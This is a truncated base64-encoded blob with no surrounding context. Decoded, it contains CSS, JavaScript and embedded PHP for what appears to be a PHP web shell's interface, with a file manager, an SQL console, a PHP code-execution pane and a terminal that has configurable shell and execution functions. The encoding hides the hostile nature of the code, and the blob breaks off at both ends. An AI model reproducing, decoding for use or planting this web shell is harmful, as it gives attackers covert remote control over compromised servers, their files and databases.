ggMCA1cHh9I2ZybUZpbGVze21hcmdpbjowIDJweCAxMHB4IDJweH0jdGJsRmlsZXN7ZGlzcGxheTpub25lO3RhYmxlLWxheW91dDpmaXhlZH0jdGJsRmlsZXMgdGhlYWQgdGg6Zmlyc3Qtb2YtdHlwZSwjdGJsRmlsZXMgdGQ6Zmlyc3Qtb2YtdHlwZXtwYWRkaW5nOjA7dGV4dC1hbGlnbjpjZW50ZXJ9I3RibEZpbGVzIHRkOm50aC1vZi10eXBlKDMpe3doaXRlLXNwYWNlOm5vd3JhcH0jdGJsRmlsZXMgdGQ6bnRoLW9mLXR5cGUoNCl7dGV4dC1hbGlnbjpyaWdodH0jdGJsRmlsZXMgdGQ6bnRoLW9mLXR5cGUobis1KXt0ZXh0LWFsaWduOmNlbnRlcn0jdHh0Q2xwYnJke3Bvc2l0aW9uOmZpeGVkO3RvcDotMXB4O2xlZnQ6LTFweDttYXJnaW46MDtwYWRkaW5nOjA7d2lkdGg6MXB4O2hlaWdodDoxcHg7Ym9yZGVyOjB9I2ZybUxuaywuZnJtRmlsZXNQcnBze3dpZHRoOjcwMHB4fSNmcm1TcmNoe3dpZHRoOjU3MHB4fSNmcm1CdWZmZXIsLmZybUZpbGV7d2lkdGg6ODAwcHg7aGVpZ2h0OjgwJX0uZnJtRmlsZXttaW4td2lkdGg6NDAwcHg7bWluLWhlaWdodDoxNTBweDtvdmVyZmxvdzphdXRvO3Jlc2l6ZTpib3RofS5zcGNyRmxleHtib3JkZXI6MDtmbGV4OjF9LnNwY3IyMHtib3JkZXI6MDt3aWR0aDoyMHB4fS5ub0ZsZXggLm9wdGlvbntmbGV4OmluaXRpYWx9LnNwbkJ0blNiTW57cG9zaXRpb246cmVsYXRpdmV9LmJ0blNiTW57d2lkdGg6NzVweH0uZGl2U2JNbntkaXNwbGF5Om5vbmU7cG9zaXRpb246YWJzb2x1dGU7dG9wOjEwMCU7cmlnaHQ6M3B4O21hcmdpbi10b3A6LTFweDt3aWR0aDo3M3B4O3otaW5kZXg6MTtib3JkZXI6MXB4IHNvbGlkICNjN2M3Yzc7YmFja2dyb3VuZDojZWZlZmVmfS5hTW5JdG17ZGlzcGxheTpibG9jazttYXJnaW46MXB4O3BhZGRpbmc6MnB4IDRweH0uYU1uSXRtOmhvdmVye2JhY2tncm91bmQ6I2UwZTBlMH0udGhQdGh7cGFkZGluZzo4cHggMCA0cHggMDtiYWNrZ3JvdW5kOiNmMGYwZjB9LnNwblB0aHtkaXNwbGF5OmlubGluZS1ibG9jaztmb250OjE0cHgvMS40ICdDb3VyaWVyIE5ldycsbW9ub3NwYWNlfS5zcG5QdGg6aG92ZXIgfiAuc3BuUHRoe2NvbG9yOiNjZmNmY2Z9LnRkVXB7dHJhbnNmb3JtOnJvdGF0ZSgxODBkZWcpfS5sbmtCbGNre2Rpc3BsYXk6YmxvY2s7d2hpdGUtc3BhY2U6cHJlLXdyYXA7d29yZC1icmVhazpicmVhay1hbGw7bWluLWhlaWdodDoxZW19LmxuazphZnRlcntjb250ZW50OidcMjFCNSc7ZmxvYXQ6cmlnaHR9Lm1ya2R7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZX0ucHJtMCwucHJtMSwucHJtMiwucHJtM3tmb250OjEycHggJ0NvdXJpZXIgTmV3Jyxtb25vc3BhY2V9LnBybTB7Y29sb3I6cmVkICFpbXBvcnRhbnR9LnBybTJ7Y29sb3I6IzJiMmJiMiAhaW1wb3J0YW50fS5wcm0ze2NvbG9yOiMwMGFhMDAgIWltcG9ydGFudH0jdGFiU1FMIC50b29sYmFyIGlucHV0W3R5cGU9InRleHQiXXttYXJnaW46MXB4IDRweH0jZGl2U1FMV3JwTGVmdHtkaXNwbGF5Om5vbmU7ZmxvYXQ6bGVmdDt3aWR0aDoyNSV9I2RpdlNRTFdycFJpZ2h0e2Zsb2F0OnJpZ2h0O3dpZHRoOjc1JTtwYWRkaW5nLWxlZnQ6NXB4fSNkaXZTY2hte3Bvc2l0aW9uOnN0YXRpYzt3aGl0ZS1zcGFjZTpub3dyYXA7d2lkdGg6MTAwJTtvdmVyZmxvdy14OmhpZGRlbn0uZGl2SXRte21hcmdpbi1ib3R0b206MnB4fS5hY3RSZXttYXJnaW46MCAxcHggLTNweCAwO3dpZHRoOjE2cHg7aGVpZ2h0OjE0cHg7Zm9udDpub3JtYWwgMTlweC8xMHB4IFZlcmRhbmEsc2Fucy1zZXJpZjtib3JkZXI6MXB4IHNvbGlkIHRyYW5zcGFyZW50fS5hTW9yZXttYXJnaW46MCAxcHh9LyouYU1vcmU6aG92ZXJ7cG9zaXRpb246YWJzb2x1dGU7cGFkZGluZy1yaWdodDozcHg7Ym9yZGVyLXJhZGl1czozcHg7YmFja2dyb3VuZDojZjdmN2Y3O3otaW5kZXg6OTB9Ki8uc3BuUkN7cG9zaXRpb246cmVsYXRpdmU7ZmxvYXQ6cmlnaHQ7bWFyZ2luLWxlZnQ6LTEwMCU7cGFkZGluZy1sZWZ0OjVweDtjb2xvcjojMDAwMGNjO2JhY2tncm91bmQ6cmdiYSgyNDcsMjQ3LDI0NywuODUpfS5kaXZMc3R7bWFyZ2luOjJweCAwIDEwcHggMTVweH0uZGl2RmxkVHB7aGVpZ2h0OjEuNWVtO21hcmdpbjowIDAgMCAxOHB4O2NvbG9yOiNhZmFmYWY7Zm9udC1zaXplOnh4LXNtYWxsfS5kaXZGbGRUcCwuZGl2SXRte3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7b3ZlcmZsb3c6aGlkZGVufSNmcm1TUUwsI2ZybVBne2Rpc3BsYXk6bm9uZX0jZGl2Q3B0bnttYXJnaW46MCA0cHggMnB4IDRweDtmb250LXN0eWxlOml0YWxpY30jZGl2RGF0YXttYXJnaW46MCA0cHggNHB4IDA7b3ZlcmZsb3c6YXV0b30jZGl2RHVtcHtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2FsaWduLWl0ZW1zOmNlbnRlcn0jdGJsSGVhZCwjdGJsRGF0YXttYXJnaW46MCBhdXRvO3dpZHRoOmF1dG99I2ZybVBnIGlucHV0W3R5cGU9InRleHQiXXtkaXNwbGF5OmlubGluZS1ibG9jazt3aWR0aDphdXRvfSNmcm1QSFB7bWFyZ2luLWJvdHRvbTozcHh9LmNtcHNSb3c6YmVmb3JlLC5jbXBzQ29sOmJlZm9yZXttYXJnaW46MCAycHggMCAxcHg7Zm9udC1zaXplOjE1cHg7bGluZS1oZWlnaHQ6MH0uY21wc1JvdzpiZWZvcmV7Y29udGVudDonXDJCMTInfS5jbXBzQ29sOmJlZm9yZXtjb250ZW50OidcMjVFNyd9I3NibVBIUHttYXJnaW4tbGVmdDoxNXB4fSNkaXZQSFB7ZGlzcGxheTpmbGV4O2ZsZXg6MSAxIDA7b3ZlcmZsb3c6aGlkZGVufSN0eHRQSFB7Y29sb3I6IzBkMGQwZDtiYWNrZ3JvdW5kOiNmZmZ9I3ByZVBIUHttYXJnaW46MnB4O3BhZGRpbmc6MnB4IDRweDtmbGV4OjEgMCAwO292ZXJmbG93OmF1dG87YmFja2dyb3VuZDojZmZmO2JvcmRlcjoxcHggc29saWQgI2M3YzdjN30jZGl2VHJtOjpzZWxlY3Rpb257YmFja2dyb3VuZDojZjBmMGYwfSNkaXZUcm0sI3ByZVRybSwjaW5wVHJte2NvbG9yOiMwZDBkMGQ7Zm9udDoxMnB4LzE4cHggJ0NvdXJpZXIgTmV3Jyxtb25vc3BhY2U7YmFja2dyb3VuZDojZmZmfSNkaXZUcm17bWFyZ2luOjAgMnB4IDFweCAycHg7cGFkZGluZzo0cHg7ZmxleDoxIDEgMDtvdmVyZmxvdzphdXRvO2JvcmRlcjoxcHggc29saWQgI2YwZjBmMH0jcHJlVHJtLCNpbnBUcm17bWFyZ2luOjA7cGFkZGluZzowfSNwcmVUcm17d2hpdGUtc3BhY2U6cHJlLXdyYXA7LW1vei10YWItc2l6ZTo0O3RhYi1zaXplOjR9I2lucFRybXtib3JkZXI6MH0jaW5wVHJtOmZvY3Vze2JveC1zaGFkb3c6bm9uZX0jdGJsSW5me21hcmdpbjo0cHggMnB4IDEwcHggMnB4O3dpZHRoOmF1dG99I3RibEluZiB0aCwjdGJsSW5mIHRke3ZlcnRpY2FsLWFsaWduOnRvcH0jdGJsSW5mIHRoe3dpZHRoOjElO3BhZGRpbmctcmlnaHQ6MTBweDt0ZXh0LWFsaWduOmxlZnQ7d2hpdGUtc3BhY2U6bm93cmFwfSN0YmxJbmYgdGg6b25seS1jaGlsZHtoZWlnaHQ6M2VtO3RleHQtYWxpZ246Y2VudGVyO3ZlcnRpY2FsLWFsaWduOmJvdHRvbTtib3JkZXI6bm9uZTtiYWNrZ3JvdW5kOiNGMEYwRjB9I3RibEluZiB0ZHt3aGl0ZS1zcGFjZTpwcmUtd3JhcDt3b3JkLWJyZWFrOmJyZWFrLWFsbH08L3N0eWxlPgoKCgo8c2NyaXB0PkhUTUxTZWxlY3RFbGVtZW50LnByb3RvdHlwZS5fX2RlZmluZUdldHRlcl9fKCd0ZXh0VmFsdWUnLCBmdW5jdGlvbigpIHsKIHJldHVybiB0aGlzLm9wdGlvbnNbdGhpcy5zZWxlY3RlZEluZGV4XS5sYWJlbDsKfSk7CnZhciBtZGxXbmR3cyA9IFtdLAogdG1TaGZ0ID0gPD9waHAgZWNobyB0aW1lKCkqMTAwMDs/PiAtIERhdGUubm93KCksCiBleGVGdW5jcyA9IFtdLCBmbVNvcnQgPSBbMSwgMV0sCiBzcG5EdFRtOwpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJywgZnVuY3Rpb24oKSB7CiBpZiAoc2Vzc2lvblN0b3JhZ2UuZ2V0SXRlbSgndWlSc3pCb2R5JykpIGRvY3VtZW50LmJvZHkuc3R5bGUud2lkdGggPSAnMTAwJSc7CiB2YXIgZSA9IGVsbUJ5SWQoJ2RhdGFFeGUnKS50ZXh0Q29udGVudC5zcGxpdCgnXG4nKTsKIGZvciAodmFyIGkgPSAwLCBjID0gZS5sZW5ndGggLSAxOyBpIDwgYzsgaSArPSA0KSB7CiAgdmFyIHYgPSBlW2ldLnRyaW1SaWdodCgpLnNwbGl0KCc6Jyk7CiAgaWYoZVtpICsgMV0gJiYgZVtpICsgMl0gJiYgZVtpICsgMl0pCglleGVGdW5jcy5wdXNoKFt2WzBdLCB2WzFdLCBlW2kgKyAxXS50cmltUmlnaHQoKSArICdAJyArIGVbaSArIDJdLnRyaW1SaWdodCgpLCBlW2kgKyAzXS50cmltUmlnaHQoKV0pOwogfQogZSA9IGVsbUJ5SWQoJ2ZybUNzdEVudicpOwogaWYgKGV4ZUZ1bmNzLmxlbmd0aCA+IDApIHsKICBzdHJnUnN0ckNoY2soJ2VudkNzdG0nLCBlLmUpOwogIGZvciAodmFyIGkgPSAwLCBjID0gZXhlRnVuY3MubGVuZ3RoLCB2ID0gc2Vzc2lvblN0b3JhZ2UuZ2V0SXRlbSgnZW52RnVuYycpIHwgMDsgaSA8IGM7ICsraSkgewogICB2YXIgb3B0ID0gbmV3IE9wdGlvbihleGVGdW5jc1tpXVsxXSwgZXhlRnVuY3NbaV1bMF0pOwogICBpZiAoZXhlRnVuY3NbaV1bMF0gPT0gdikgb3B0LnNlbGVjdGVkID0gdHJ1ZTsKICAgZS5mLmFkZChvcHQpOwogIH0KICBzdHJnUnN0clZhbCgnZW52U2hlbGwnLCBlLnMpOwogIHN0cmdSc3RyVmFsKCdlbnZJbnRyUHRoJywgZS5pKTsKICBzdHJnUnN0ckNoY2soJ2VudkludHJPcHROJywgZS5uKTsKICBzdHJnUnN0ckNoY2soJ2VudkludHJPcHRDJywgZS5jKTsKIH0gZWxzZSB7CiAgZWxtQnlJZCgnZmxkRW52JykuZGlzYWJsZWQgPSB0cnVlOwogIGUuZS5kaXNhYmxlZCA9IHRydWU7CiB9CiBzdHJnUnN0ckNoY2soJ3JvJywgJ2NiUk8nKTsKIHN0cmdSc3RyQ2hjaygncnInLCAnY2JSUicpOwogc3RyZ1JzdHJDaGNrKCd0bScsICdjYlRNJyk7CiBzdHJnUnN0ckNoY2soJ29pJywgJ2NiT0knKTsKIGZtUmVzdG9yZVN0YXRlKCk7CiBzcWxSZXN0b3JlU3RhdGUoKTsKIHBocFJlc3RvcmVTdGF0ZSgpOwogdHJtUmVzdG9yZVN0YXRlKCk7CiBzcG5EdFRtID0gZWxtQnlJZCgnZGl2RHRUbScpLmZpcnN0Q2hpbGQ7CiB1aVVwZER0VG0oKTsKIHNldEludGVydmFsKHVpVXBkRHRUbSwgMTUwMCk7Cn0sIGZhbHNlKTsKd2luZG93Lm9uYmVmb3JldW5sb2FkID0gZnVuY3Rpb24oKSB7CiBzdHJnU2F2ZUJvb2woJ3VpUnN6Qm9keScsIGRvY3VtZW50LmJvZHkuc3R5bGUud2lkdGggPT09ICcxMDAlJyk7CiBpZiAoZXhlRnVuY3MubGVuZ3RoID4gMCkgewogIHZhciBlID0gZWxtQnlJZCgnZnJtQ3N0RW52Jyk7CiAgc3RyZ1NhdmVCb29sKCdlbnZDc3RtJywgZS5lLmNoZWNrZWQpOwogIHN0cmdTYXZlT3B0KCdlbnZGdW5jJywgZS5mLnZhbHVlKTsKICBzdHJnU2F2ZVN0cignZW52U2hlbGwnLCBlLnMudmFsdWUpOwogIHN0cmdTYXZlU3RyKCdlbnZJbnRyUHRoJywgZS5pLnZhbHVlKTsKICBzdHJnU2F2ZUJvb2woJ2VudkludHJPcHROJywgZS5uLmNoZWNrZWQpOwogIHN0cmdTYXZlQm9vbCgnZW52SW50ck9wdEMnLCBlLmMuY2hlY2tlZCk7CiB9CiBzdHJnUnN0ckNoY2soJ3JvJywgJ2NiUk8nKTsKIHN0cmdSc3RyQ2hjaygncnInLCAnY2JSUicpOwogc3RyZ1JzdHJDaGNrKCd0bScsICdjYlRNJyk7CiBzdHJnUnN0ckNoY2soJ29pJywgJ2NiT0knKTsKIGZtU2F2ZVN0YXRlKCk7CiBzcWxTYXZlU3RhdGUoKTsKIHBocFNhdmVTdGF0ZSgpOwogdHJtU2F2ZVN0YXRlKCk7Cn07CgpmdW5jdGlvbiBlbG1CeUlkKHYpIHsKIHJldHVybiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCh2KTsKfQoKZnVuY3Rpb24gbmV3RWxtKHRhZywgYXR0cikgewogdmFyIGUgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KHRhZyk7CiBmb3IgKHZhciBrIGluIGF0dHIpIGVba10gPSBhdHRyW2tdOwogcmV0dXJuIGU7Cn0KCmZ1bmN0aW9uIHN0cmdSc3RyVmFsKG9wdCwgZWxtKSB7CiBvcHQgPSBzZXNzaW9uU3RvcmFnZS5nZXRJdGVtKG9wdCk7CiBpZiAob3B0ID09PSBudWxsKSByZXR1cm47CiBpZiAodHlwZW9mIGVsbSA9PT0gJ3N0cmluZycpIGVsbSA9IGVsbUJ5SWQoZWxtKTsKIGVsbS52YWx1ZSA9IG9wdDsKfQoKZnVuY3Rpb24gc3RyZ1JzdHJBcnIobikgewogdmFyIHZhbCA9IHNlc3Npb25TdG9yYWdlLmdldEl0ZW0obik7CiByZXR1cm4gdmFsID09PSBudWxsID8gW10gOiBKU09OLnBhcnNlKHZhbCk7Cn0KCmZ1bmN0aW9uIHN0cmdSc3RyQ2hjayhvcHQsIGVsbSkgewogaWYgKHNlc3Npb25TdG9yYWdlLmdldEl0ZW0ob3B0KSA9PT0gbnVsbCkgcmV0dXJuOwogaWYgKHR5cGVvZiBlbG0gPT09ICdzdHJpbmcnKSBlbG0gPSBlbG1CeUlkKGVsbSk7CiBlbG0uY2hlY2tlZCA9IHRydWU7Cn0KCmZ1bmN0aW9uIHVpS2V5RHduKGUpIHsKIGUgPSBlIHx8IHdpbmRvdy5ldmVudDsKIHZhciBjID0gbWRsV25kd3MubGVuZ3RoOwogaWYgKGMgPT09IDApIHJldHVybjsKIGlmIChlLndoaWNoID09PSAyNykKICBmb3IgKHZhciBpID0gYyAtIDE7IGkgPj0gMDsgLS1pKSB7CiAgIGlmIChtZGxXbmR3c1tpXS5jbGllbnRUb3ApIHJldHVybiBtZGxXbmR3c1tpXS5maXJzdENoaWxkLmNoaWxkTm9kZXNbMV0ub25jbGljaygpOwogIH0gZWxzZSBpZiAoYyA+IDEgJiYgZS5hbHRLZXkgPT09IHRydWUgJiYgZS53aGljaCA9PT0gODQpCiAgIGZvciAodmFyIGkgPSAwOyBpIDwgYzsgKytpKQogICAgaWYgKG1kbFduZHdzW2ldLmNsaWVudFRvcCAmJiBpICsgMSA8IGMpIHsKICAgICBtZGxXbmR3c1tpXS5zdHlsZS56SW5kZXggPSAobWRsV25kd3NbYyAtIDFdLnN0eWxlLnpJbmRleCB8IDApICsgMTsKICAgICBtZGxXbmR3cy5wdXNoKG1kbFduZHdzLnNwbGljZShpLCAxKVswXSk7CiAgICAgcmV0dXJuOwogICAgfQp9CgpmdW5jdGlvbiB1aVVwZER0VG0oKSB7CiB2YXIgdiA9IG5ldyBEYXRlKERhdGUubm93KCkgKyB0bVNoZnQpLnRvSVNPU3RyaW5nKCk7CiB2ID0gdi5zbGljZSgwLCAxMCkgKyAnICcgKyB2LnNsaWNlKDExLCAxMykgKyAnPHNwYW4gY2xhc3M9ImJsaW5rIj46PC9zcGFuPicgKyB2LnNsaWNlKDE0LCAxNik7CiBpZiAoc3BuRHRUbS5pbm5lckhUTUwgIT09IHYpIHNwbkR0VG0uaW5uZXJIVE1MID0gdjsKfQoKZnVuY3Rpb24gc3RyZ1NhdmVBcnIobiwgdikgewogaWYgKHYubGVuZ3RoKSBzZXNzaW9uU3RvcmFnZS5zZXRJdGVtKG4sIEpTT04uc3RyaW5naWZ5KHYpKTsKIGVsc2Ugc2Vzc2lvblN0b3JhZ2UucmVtb3ZlSXRlbShuKTsKfQoKZnVuY3Rpb24gc3RyZ1NhdmVCb29sKG4sIHYpIHsKIGlmICh0eXBlb2YgdiA9PT0gJ3N0cmluZycpIHYgPSBlbG1CeUlkKHYpLmNoZWNrZWQ7CiBpZiAodikgc2Vzc2lvblN0b3JhZ2Uuc2V0SXRlbShuLCAxKTsKIGVsc2Ugc2Vzc2lvblN0b3JhZ2UucmVtb3ZlSXRlbShuKTsKfQoKZnVuY3Rpb24gc3RyZ1NhdmVTdHIobiwgdikgewogaWYgKHYgPT09ICcnKSBzZXNzaW9uU3RvcmFnZS5yZW1vdmVJdGVtKG4pOwogZWxzZSBzZXNzaW9uU3RvcmFnZS5zZXRJdGVtKG4sIHYpOwp9CgpmdW5jdGlvbiBzdHJnU2F2ZU9wdChuLCB2KSB7CiBpZiAodiAhPT0gJycgJiYgdiAhPT0gJ1VURi04Jykgc2Vzc2lvblN0b3JhZ2Uuc2V0SXRlbShuLCB2KTsKIGVsc2Ugc2Vzc2lvblN0b3JhZ2UucmVtb3ZlSXRlbShuKTsKfQoKZnVuY3Rpb24gdWlSc3pCb2R5KCkgewogdmFyIHMgPSBkb2N1bWVudC5ib2R5LnN0eWxlOwogcy53aWR0aCA9IHMud2lkdGggPT09ICcxMDAlJyA/ICcnIDogJzEwMCUnOwogcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiB1aVJzeihlKSB7CgogaWYodHlwZW9mIGUgPT09ICdzdHJpbmcnKSBlID0gZWxtQnlJZChlKTsKIAogdmFyIHMgPSBlLnN0eWxlOwogdmFyIGNyID0gSlNPTi5wYXJzZShlLmdldEF0dHJpYnV0ZSgnY3InKSk7CiAKIGlmIChzLndpZHRoID09PSAnMTAwJScpewogICAgaWYodHlwZW9mIGNyICE9IG51bGwpewogICAgICAgIHMud2lkdGggPSBjci53aWR0aDsKICAgICAgICBzLmhlaWdodCA9IGNyLmhlaWdodDsKICAgICAgICBzLnRvcCA9IGNyLnRvcCArIChjci5oZWlnaHQgLyAyKTsKICAgICAgICBzLmxlZnQgPSBjci5sZWZ0ICsgKGNyLndpZHRoIC8gMik7CiAgICB9CiAgICBlbHNlewogICAgICBzLndpZHRoID0gJyc7CiAgICAgIHMuaGVpZ2h0ID0gJyc7CiAgICB9CiB9CiBlbHNlewoJZS5zZXRBdHRyaWJ1dGUoJ2NyJywgSlNPTi5zdHJpbmdpZnkoZS5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKSkpOwogICAgcy50b3AgPSBzLmxlZnQgPSAnJzsKICAgIHMud2lkdGggPSBzLmhlaWdodCA9ICcxMDAlJzsKIH0KIAogcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiB1aURlbE1zZyhkaXYpIHsKIGVsbUJ5SWQoJ2Rpdk1zZ3MnKS5yZW1vdmVDaGlsZChkaXYpOwogcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBzZXRNc2dUbXIoZGl2KSB7CiB2YXIgZm5jID0gdWlEZWxNc2cuYmluZChudWxsLCBkaXYpLAogIHRtciA9IHNldFRpbWVvdXQoZm5jLCA1MDAwKTsKIGRpdi5vbm1vdXNlb3ZlciA9IGZ1bmN0aW9uKCkgewogIGNsZWFyVGltZW91dCh0bXIpOwogfTsKIGRpdi5vbm1vdXNlb3V0ID0gZnVuY3Rpb24oKSB7CiAgdG1yID0gc2V0VGltZW91dChmbmMsIDUwMDApOwogfTsKfQoKZnVuY3Rpb24gdWlDbHNNc2coKSB7CiByZXR1cm4gdWlEZWxNc2codGhpcy5wYXJlbnROb2RlKTsKfQoKZnVuY3Rpb24gdWlNc2cobXNnLCB0eXBlKSB7CiBpZiAoIXR5cGUpIHsKICB0eXBlID0gJ1ByY3MnOwogIG1zZyArPSAnIFx1MjAyNic7CiB9CiB2YXIgZGl2ID0gbmV3RWxtKCdkaXYnLCB7CiAgY2xhc3NOYW1lOiAnZGl2Q250cmxzIGRpdk1zZycgKyB0eXBlCiB9KTsKIGRpdi5hcHBlbmRDaGlsZChuZXdFbG0oJ2EnLCB7CiAgaHJlZjogJyMnLAogIGNsYXNzTmFtZTogJ2NudHJsJywKICB0ZXh0Q29udGVudDogJ1x1MDBENycsCiAgb25jbGljazogdWlDbHNNc2cKIH0pKTsKIGRpdi5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShtc2cpKTsKIHZhciBlbG0gPSBlbG1CeUlkKCdkaXZNc2dzJyk7CiBlbG0uaW5zZXJ0QmVmb3JlKGRpdiwgZWxtLmZpcnN0Q2hpbGQpOwogaWYgKHR5cGUgIT09ICdQcmNzJykgc2V0TXNnVG1yKGRpdik7CiByZXR1cm4gZGl2Owp9CgpmdW5jdGlvbiB1aUNobmdNc2coZGl2LCBtc2csIHR5cGUpIHsKIGRpdi5maXJzdENoaWxkLm9uY2xpY2sgPSB1aUNsc01zZzsKIGRpdi5sYXN0Q2hpbGQudGV4dENvbnRlbnQgPSBtc2c7CiBkaXYuY2xhc3NOYW1lID0gJ2Rpdk1zZycgKyB0eXBlOwogc2V0TXNnVG1yKGRpdik7CiB2YXIgZWxtID0gZWxtQnlJZCgnYWN0TG9nJykuc3R5bGU7CiBpZiAoZWxtLmRpc3BsYXkgIT09ICdpbmxpbmUtYmxvY2snKSBlbG0uZGlzcGxheSA9ICdpbmxpbmUtYmxvY2snOwogZWxtID0gZWxtQnlJZCgnZGl2TG9nQ250bicpOwogZWxtLmluc2VydEJlZm9yZShuZXdFbG0oJ2RpdicsIHsKICBjbGFzc05hbWU6ICdkaXZNc2cnICsgdHlwZSwKICB0ZXh0Q29udGVudDogJygnICsgdXRzVG9TdHIoRGF0ZS5ub3coKSAvIDEwMDApICsgJykgJyArIG1zZwogfSksIGVsbS5maXJzdENoaWxkKTsKIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gdWlOZXRFcnJNc2coZGl2KSB7CiB1aUNobmdNc2coZGl2LCAnTmV0d29yayBlcnJvclxuJyArIGRpdi5sYXN0Q2hpbGQudGV4dENvbnRlbnQuc2xpY2UoMCwgLTIpLCAnRXJyJyk7Cn0KCmZ1bmN0aW9uIHVpU2h3TW9kYWwoZWxtKSB7CiBpZiAodHlwZW9mIGVsbSA9PT0gJ3N0cmluZycpIGVsbSA9IGVsbUJ5SWQoZWxtKTsKIGlmIChlbG0uc3R5bGUudmlzaWJpbGl0eSA9PT0gJ3Zpc2libGUnKSByZXR1cm4gZmFsc2U7CiBlbG0uc3R5bGUuekluZGV4ID0gbWRsV25kd3MubGVuZ3RoID09PSAwID8gMTAwIDogKG1kbFduZHdzW21kbFduZHdzLmxlbmd0aCAtIDFdLnN0eWxlLnpJbmRleCB8IDApICsgMTsKIGVsbS5zdHlsZS52aXNpYmlsaXR5ID0gJ3Zpc2libGUnOwogbWRsV25kd3MucHVzaChlbG0pOwogZWxtLmZvY3VzKCk7CiByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIHVpQWN0dk1vZGFsKGV2bnQpIHsKIHZhciBlbG0gPSBldm50LmN1cnJlbnRUYXJnZXQsCiAgbiA9IG1kbFduZHdzLmluZGV4T2YoZWxtKTsKIGlmIChuICE9PSAtMSkgewogIHZhciBpID0gbWRsV25kd3MubGVuZ3RoIC0gMTsKICBpZiAobWRsV25kd3NbaV0gIT09IGVsbSkgewogICBlbG0uc3R5bGUuekluZGV4ID0gKG1kbFduZHdzW2ldLnN0eWxlLnpJbmRleCB8IDApICsgMTsKICAgbWRsV25kd3Muc3BsaWNlKG4sIDEpOwogICBtZGxXbmR3cy5wdXNoKGVsbSk7CiAgfQogfQogaWYgKGV2bnQudGFyZ2V0LnRhZ05hbWUgPT09ICdTUEFOJyB8fCBldm50LnRhcmdldC50YWdOYW1lID09PSAnRElWJykgewogIGVsbS5zdHlsZS5jdXJzb3IgPSAnbW92ZSc7CiAgdmFyIGR4ID0gZXZudC5wYWdlWCAtIGVsbS5vZmZzZXRMZWZ0LAogICBkeSA9IGV2bnQucGFnZVkgLSBlbG0ub2Zmc2V0VG9wOwogIGRvY3VtZW50Lm9ubW91c2Vtb3ZlID0gZnVuY3Rpb24oZSkgewogICBlbG0uc3R5bGUubGVmdCA9IChlLmNsaWVudFggLSBkeCkgKyAncHgnOwogICBlbG0uc3R5bGUudG9wID0gKGUuY2xpZW50WSArIHdpbmRvdy5wYWdlWU9mZnNldCAtIGR5KSArICdweCc7CiAgfTsKICBkb2N1bWVudC5vbm1vdXNldXAgPSBmdW5jdGlvbigpIHsKICAgZG9jdW1lbnQub25tb3VzZW1vdmUgPSBudWxsOwogICBkb2N1bWVudC5vbm1vdXNldXAgPSBudWxsOwogICBlbG0uc3R5bGUuY3Vyc29yID0gJyc7CiAgfTsKICBldm50LnByZXZlbnREZWZhdWx0KCk7CiAgZXZudC5zdG9wUHJvcGFnYXRpb24oKTsKICByZXR1cm4gZmFsc2U7CiB9Cn0KCmZ1bmN0aW9uIHVpQ2xzTW9kYWwoZWxtKSB7CiBpZiAodHlwZW9mIGVsbSA9PT0gJ3N0cmluZycpIGVsbSA9IGVsbUJ5SWQoZWxtKTsKIGVsbS5zdHlsZS52aXNpYmlsaXR5ID0gJ2hpZGRlbic7CiBtZGxXbmR3cy5zcGxpY2UobWRsV25kd3MuaW5kZXhPZihlbG0pLCAxKTsKIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gdWlTbGN0VHh0KGlkKSB7CiB2YXIgciA9IGRvY3VtZW50LmNyZWF0ZVJhbmdlKCksCiAgcyA9IHdpbmRvdy5nZXRTZWxlY3Rpb24oKTsKIHIuc2VsZWN0Tm9kZShlbG1CeUlkKGlkKSk7CiBzLnJlbW92ZUFsbFJhbmdlcygpOwogcy5hZGRSYW5nZShyKTsKfQoKZnVuY3Rpb24gdXRzVG9TdHIodikgewogaWYgKHYgPCAxKSByZXR1cm4gJz8nOwogdiA9IG5ldyBEYXRlKHYgKiAxMDAwKS50b0lTT1N0cmluZygpOwogcmV0dXJuIHYuc2xpY2UoMCwgMTApICsgJyAnICsgdi5zbGljZSgxMSwgMTkpOwp9CgpmdW5jdGlvbiBjbG5Mb2coKSB7CiBlbG1CeUlkKCdhY3RMb2cnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogZWxtQnlJZCgnZGl2TG9nJykuc3R5bGUudmlzaWJpbGl0eSA9ICdoaWRkZW4nOwogdmFyIGRpdiA9IGVsbUJ5SWQoJ2RpdkxvZ0NudG4nKTsKIGZvciAodmFyIGkgPSBkaXYuY2hpbGROb2Rlcy5sZW5ndGggLSAxOyBpID49IDA7IC0taSkgZGl2LnJlbW92ZUNoaWxkKGRpdi5jaGlsZE5vZGVzW2ldKTsKIHJldHVybiBmYWxzZTsKfQp2YXIgRFMgPSAnPD9waHAgZWNobyBOSVg/Ii8iOiJcXFxcIjs/PicsCiBmbUJ1ZmZlciA9IFtdLAogZWxtVGJsRmlsZXMgPSBudWxsLAogZWxtVG1wbEZpbGVSb3cgPSBudWxsLAogZWxtUHRoID0gbnVsbCwKIGZpbGVUeXBlcyA9IHsKICAweEUwMDA6ICdQJywKICAweEQwMDA6ICdEJywKICAweEMwMDA6ICdzJywKICAweEEwMDA6ICdsJywKICAweDgwMDA6ICctJywKICAweDYwMDA6ICdiJywKICAweDQwMDA6ICdkJywKICAweDIwMDA6ICdjJywKICAweDEwMDA6ICdwJwogfTsKCmZ1bmN0aW9uIGZtU2F2ZVN0YXRlKCkgewogc3RyZ1NhdmVTdHIoJ2ZtUGF0aCcsIGVsbVB0aC5wbGFjZWhvbGRlcik7CiBzdHJnU2F2ZUFycignZm1CdWZmZXInLCBmbUJ1ZmZlcik7Cn0KCmZ1bmN0aW9uIGZtUmVzdG9yZVN0YXRlKCkgewogZWxtVGJsRmlsZXMgPSBlbG1CeUlkKCd0YmxGaWxlcycpOwogZWxtVG1wbEZpbGVS